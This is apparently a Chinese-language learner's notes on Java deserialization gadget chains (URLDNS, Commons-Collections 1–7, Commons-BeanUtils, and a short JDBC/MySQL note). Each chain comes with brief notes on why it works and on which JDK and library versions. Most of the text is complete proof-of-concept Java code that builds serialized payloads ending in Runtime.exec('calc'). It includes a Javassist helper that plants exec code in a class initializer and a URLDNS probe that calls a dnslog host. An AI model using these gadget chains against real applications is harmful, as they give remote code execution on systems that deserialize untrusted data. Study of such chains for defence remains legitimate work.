URLDNS

  1. HashMapreadObject 方法可以调用到任何一个类的 hashCode 方法,只需要把拥有 hashCode 方法的对象当作键名添加进 HashMap 即可,比如我要通过 HashMap#readObject 调用 URL#hashCode,我只需要实例化一个URL对象比如为 urlObject,然后以对象为键名添加进 HashMapHashMap.put(urlObject,"ky0116")
  2. URL.handler 属性是transient 修饰的,按理是无法进行反序列化的,但是URL类编写了一个 readResolve 方法,这方法会重新创建出一个 URL 对象,然后替换已经反序列化出来的 URL 对象,而重新创建出来的 URL 对象是存在 handler 属性的!而在 readResolve 方法重新创建 URL 对象中关键是 URL.authority 属性指定我们的 dnslog 地址。跟一下 URL#readObject->URL#readResolve->URL#fabricateNewURL->URL#reconstituteUrlString链就知道了,这条链就是重新创建 URL 对象的过程!
  3. HashMap#put 会触发 dnslog,为了防止在构造时触发 dnslog 导致误判,这里可以先put一个URL对象进去,然后再反射对 hashCodeauthority 赋值
package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;/*
* Gadget:
*   HashMap#readObject
*     URL#hashCode
*       URLStreamHandler#hashCode
*         URLStreamHandler#getHostAddress
*
* */public class URLDNSPOC {public static void main(String[] args) throws Exception{URL url = new URL("http://");HashMap hashMap = new HashMap();hashMap.put(url,"h");reflectSetField(url,"hashCode",-1);  //经过 Hash.put 之后会对URL的hashCode值进行改变,此处要重新反射赋值reflectSetField(url,"authority","vyaz78.dnslog.cn");  //为了防止在构造POC时触发dnslog,这里先put一个URL对象再反射对authority赋值byte[] bytes = serializeObject(hashMap);unSerializeObject(bytes);}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}
}

commons-collections01

  1. InvokerTransformer#transform可以进行动态方法调用
  2. ConstantTransformer#transform返回一个实例对象
  3. ChainedTransformer#transform可以调用一连串transform方法
  4. AnnotationInvocationHandler#invoke方法可以调用到get方法
  5. 通过代理操作可以调用到AnnotationInvocationHandler#invoke方法
  6. 构造TransformedMap链时需要往HashMap实例中添加一个value键,为的是满足 if (var7 != null) 条件,Retention注解的memberTypes的键为value,所以HashMap元素的键需要是value
  7. 传入AnnotationInvocationHandler的注解需要存在memberTypes属性
  8. 通过AnnotationInvocationHandler#readObject方法的this.memberValues.entrySet().iterator().next().setValue()可以调用到TransformedMap#checkSetValue方法!但是存在条件6即第六点!
  9. commons-collections01链在 JDK8u71 之后无法再进行利用,原因是AnnotationInvocationHandler#readObject逻辑发生了改变!
  10. 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!

疑问的地方:

  1. LazyMap链的触发点不应该是 this.memberValues.entrySet() 吗?然而调试发现并不是从这个断点进入的命令执行,而是从 (Entry)var4.next() 方法进入的!
  2. TransformedMap链的HashMap实例需要存在value键,否则无法通过 if (var7 != null) 条件,具体为什么HashMap的键值对应着AbstractInputCheckedMapDecorator.MapEntry的键值还没深入分析!
package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/*
* Gadget:
*   AnnotationInvocationHandler#readObject
*     AnnotationInvocationHandler#invoke
*       LazyMap#get
*         ChainedTransformer#transform
*           ConstantTransformer#transform
*             InvokerTransformer#transform
* */
public class Collections01PocLazyMap {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(invocationHandler);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}
package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
/** Gadget:*   AnnotationInvocationHandler#readObject*     TransformedMap#setValue*       TransformedMap#checkSetValue*         ChainedTransformer#transform*           ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections01PocTransformedMap {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});HashMap hashMap = new HashMap();hashMap.put("value","ky0116");TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(obj);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections06

  1. commons-collections01因为AnnotationInvocationHandler#readObject的逻辑在JDK8U71之后发生了改变,导致无法在高版本下利用,而commons-collections06就解决了高版本无法利用的问题
  2. HashMap#readObject方法可以调用任意类的hashCode方法,在URLDNS也写过了
  3. TiedMapEntry#hashCode 可以调用任意类的get方法,只需要把 this,map 属性赋值为需要调用get方法的类对象即可
  4. 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/** Gadget:*   HashMap#readObject*     TiedMapEntry#hashCode*       TiedMapEntry#getValue*         LazyMap#get*           ChainedTransformer#transform*             ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections06Poc {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");HashMap hashMap = new HashMap();hashMap.put(tiedMapEntry,"ky0116");reflectSetField(tiedMapEntry,"map",lazyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(hashMap);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections02

  1. TransformingComparator#compare可以调用到任意类的transform方法,配合PriorityQueue#readObject方法使用
  2. 直接操作PriorityQueue类queue[]属性无法把元素添加进PriorityQueue类,需要前面有add操作之后再对queue[]属性操作
  3. PriorityQueue.add 方法会触发transform方法,如果触发的是InvokerTransformer#transform方法,则需要往iMethodName属性赋值为toString,不至于在add时触发InvokerTransformer#transform方法动态调用然后找不到方法!
  4. TemplatesImpl#newTransformer 方法会对_bytecodes属性的字节码进行实例化,条件是_name属性不为空且_bytecodes属性的字节码对应的父类为AbstractTranslet类!
  5. 通过ClassPool动态创建一个恶意类,恶意类静态代码块存在恶意代码,利用TransformingComparator#compare调用InvokerTransformer#transform方法进行动态调用恶意类任意方法,这里调用到的恶意类是TemplatesImpl,调用到的方法是newTransformer
  6. commons-collections02在commons-collections依赖版本为4才可以用,因为在3版本中TransformingComparator没有首先Serializable接口,也就不可以进行序列化了!
  7. queue[]属性是transient修饰符修饰的,应该是无法进行序列化/反序列化的,但是这里PriorityQueue#readObject和PriorityQueue#writeObject方法进行了手工写入和读取queue[]属性
  8. 在高版本JDK中可以使用
package com.javasec.poc;import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
/** Gadget:*   PriorityQueue#readObject*     TransformingComparator#compare*       InvokerTransformer#transform*         TemplatesImpl#newTransformer* */
public class Collections02Poc {public static void main(String[] args) throws Exception{TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();//templatesImpl.newTransformer();InvokerTransformer invokerTransformer = new InvokerTransformer("toString",new Class[]{},new Object[]{});PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(invokerTransformer));priorityQueue.add("1");priorityQueue.add("1");Field field = priorityQueue.getClass().getDeclaredField("queue");field.setAccessible(true);Object[] queue = (Object[]) field.get(priorityQueue);queue[0] = templatesImpl;queue[1] = "ky0116";reflectSetField(invokerTransformer,"iMethodName","newTransformer");byte[] bytes = serializeObject(priorityQueue);unSerializeObject(bytes);}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}
}
====================================================================
package com.javasec.tools;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.CtClass;import java.lang.reflect.Field;public class CreateTemplate {public static TemplatesImpl createTemplatesImpl() throws Exception{ClassPool classPool = ClassPool.getDefault();classPool.insertClassPath(new ClassClassPath(Evil.class));classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));final CtClass clazzEvil = classPool.get(Evil.class.getName());clazzEvil.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");CtClass clazzAbstract = classPool.get(AbstractTranslet.class.getName());clazzEvil.setSuperclass(clazzAbstract);byte[] bytes = clazzEvil.toBytecode();TemplatesImpl templates = new TemplatesImpl();reflectSetField(templates,"_name","ky0117");reflectSetField(templates,"_bytecodes",new byte[][]{bytes});return templates;}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}
======================================================================
package com.javasec.tools;public class Evil{
}

commons-collections03

  1. InstantiateTransformer#transform方法可以实例化任意一个类,也就是可以调用Class#newInstance方法
  2. TrAXFilter类的构造方法可以调用到TemplatesImpl#newTransformer方法进而实例化_bytecodes恶意字节码对象触发静态代码块里的恶意代码!
  3. 3版本的依赖和4版本的依赖都可以使用,改变一下TransformedMap/LazyMap对象的产生方式即可!
  4. 这条链是通过1链变化过来的,所以高版本JDK下也是用不了的
package com.javasec.poc;import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
/** Gadget:*   AnnotationInvocationHandler#readObject*     AnnotationInvocationHandler#invoke*       LazyMap#get*         ChainedTransformer#transform*           ConstantTransformer#transform*             InstantiateTransformer#transform*               TrAXFilter#newInstance* */
public class Collections03Poc {public static void main(String[] args) throws Exception{TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();Transformer[] transformer = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);InvocationHandler obj = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, obj);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);byte[] bytes = serializeObject(invocationHandler);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections04

  1. 这条链是通过2链变化过来的,所以只能用于4版本的依赖,当然高版本下JDK可以使用
  2. 这里其实就是把2链的InvokerTransformer换为了ChainedTransformer,效果都是一样的就是调用TemplatesImpl#newTransformer方法!
package com.javasec.poc;import com.javasec.tools.CreateTemplate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class Collections04Poc {public static void main(String[] args) throws Exception{TemplatesImpl templatesImpl = CreateTemplate.createTemplatesImpl();Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});PriorityQueue priorityQueue = new PriorityQueue(2,new TransformingComparator(chainedTransformer));priorityQueue.add("1");priorityQueue.add("1");Field field = priorityQueue.getClass().getDeclaredField("queue");field.setAccessible(true);Object[] queue = (Object[]) field.get(priorityQueue);queue[0] = templatesImpl;queue[1] = "ky0116";reflectSetField(chainedTransformer,"iTransformers",transformers);byte[] bytes = serializeObject(priorityQueue);unSerializeObject(bytes);}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}
}

commons-collections05

  1. 这条链跟commons-collections06链差不多,就是把BadAttributeValueExpException替换掉HashMap即可!
  2. 这条链在3、4版本依赖都可以使用
package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;/** Gadget:*   BadAttributeValueExpException#readObject*     TiedMapEntry#toString*       TiedMapEntry#getValue*         LazyMap#get*           ChainedTransformer#transform*             ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections05Poc {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});//Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);LazyMap lazyMap = LazyMap.lazyMap(new HashMap(), chainedTransformer);  //4版本的构造TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"ky0116");BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);reflectSetField(tiedMapEntry,"map",lazyMap);reflectSetField(chainedTransformer,"iTransformers",transformer);reflectSetField(badAttributeValueExpException,"val",tiedMapEntry);byte[] bytes = serializeObject(badAttributeValueExpException);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

commons-collections07

  1. "yy".hashCode()=="zZ".hashCode(),Integer的hashCode方法返回值为数值本身
  2. 只需要构造HashTable的两个LazyMap的hash值相等则可以调用到AbstractMapDecorator#equals和AbstractMap#equals方法
  3. 构造相同hash的LazyMap时,LazyMap的HashMap不能put两个一样字符串为键的元素进去,因为这样的话反序列化Hashtable时获取到的elements值为1,则只调用一次reconstitutionPut方法,进而无法调用equeals方法,原因可以跟进一下Hashtable#put方法!
  4. 在HashTable#put完元素之后HashMap的lazyMap02的键会有两个,分别是 zZ/yy,需要手动移除yy键,保留原来的zZ键即可,如果不移除的话在AbstractMap#equals方法会满足 if (m.size() != size())条件直接返回。至于为什么会多了一个键,跟进一下AbstractMap#equals->LazyMap#get链就行
  5. 这条链在3/4版本的依赖都可以使用
package com.javasec.poc;import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
/** Gadget:*   Hashtable#readObject*     AbstractMapDecorator#equals*       AbstractMap#equals*         LazyMap#get*           ChainedTransformer#transform*             ConstantTransformer#transform*             InvokerTransformer#transform* */
public class Collections07Poc {public static void main(String[] args) throws Exception{Transformer[] transformer = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});HashMap hashMap01 = new HashMap();hashMap01.put("yy",1);HashMap hashMap02 = new HashMap();hashMap02.put("zZ",1);
//        LazyMap lazyMap01 = (LazyMap) LazyMap.decorate(hashMap01,chainedTransformer);
//        LazyMap lazyMap02 = (LazyMap) LazyMap.decorate(hashMap02,chainedTransformer);LazyMap lazyMap01 = LazyMap.lazyMap(hashMap01, chainedTransformer);LazyMap lazyMap02 = LazyMap.lazyMap(hashMap02, chainedTransformer);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap01,"ky01171");hashtable.put(lazyMap02,"ky01172");reflectSetField(chainedTransformer,"iTransformers",transformer);hashMap02.remove("yy");byte[] bytes = serializeObject(hashtable);unSerializeObject(bytes);}public static byte[] serializeObject(Object object) throws Exception{  //序列化对象ByteOutputStream byteOutputStream = new ByteOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteOutputStream);objectOutputStream.writeObject(object);byte[] bytes = byteOutputStream.toByteArray();byteOutputStream.close();objectOutputStream.close();return bytes;}public static void unSerializeObject(byte[] bytes) throws Exception{  //反序列化对象ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);objectInputStream.readObject();byteArrayInputStream.close();objectInputStream.close();}public static void reflectSetField(Object object,String fieldName,Object fieldValue) throws Exception{  //反射对字段进行赋值Field field = object.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(object,fieldValue);}
}

Beanutils

  1. BeanComparator#compare方法可以调用到任意一个类的getXXX方法
  2. TemplatesImpl#getOutputProperties方法可以调用到TemplatesImpl#newTransformer方法
  3. 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用,可以在高版本JDK使用
package com.javasec.pocs;import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/** Gadget:*   PriorityQueue#readObject*     BeanComparator#compare*       TemplatesImpl#getOutputProperties*         TemplatesImpl#newTransformer* 1. 这条链依赖的是 commons-beanutils ,在 1.9.4 版本亦可使用* 2. 可以在高版本使用* */
public class BeanutilsPoc {public static byte[] getSerializeData() throws Exception{// 创建恶意 TemplatesImpl 对象,_bytecodes 属性装载着恶意字节码TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();// 创建比较器BeanComparator beanComparator = new BeanComparator();PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);// 先用 add 添加元素,否则后面对 queue[] 数组的操作无法把真正的元素添加到 priorityQueue 中priorityQueue.add("1");priorityQueue.add("1");// 反射获取 queue[] 数组Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");queue[0] = templatesImpl;queue[1] = "ky0116";// 最后反射对字段进行赋值,防止在构造payload时触发GadgetReflect.reflectSetField(beanComparator,"property","outputProperties");byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SaveSerializeData.save(bytes);SerWithUnSer.unSerializeObject(bytes);}
}

JDBCUnserialize

  1. JDBC连接代码中的queryInterceptors属性指定拦截器,在连接数据库时会调用拦截器的preProcess方法
  2. 在连接数据库时会向数据库发出 SHOW SESSION STATUS 查询,我们可以编写恶意mysql服务器,让 SHOW SESSION STATUS 查询结果返回我们精心构造的结果!
  3. 最后通过构造可以调用到ResultSetImpl#getObject方法,方法里面存在反序列化操作!
  4. 难点在于编写mysql服务器,这一块先放着先,后续补上!

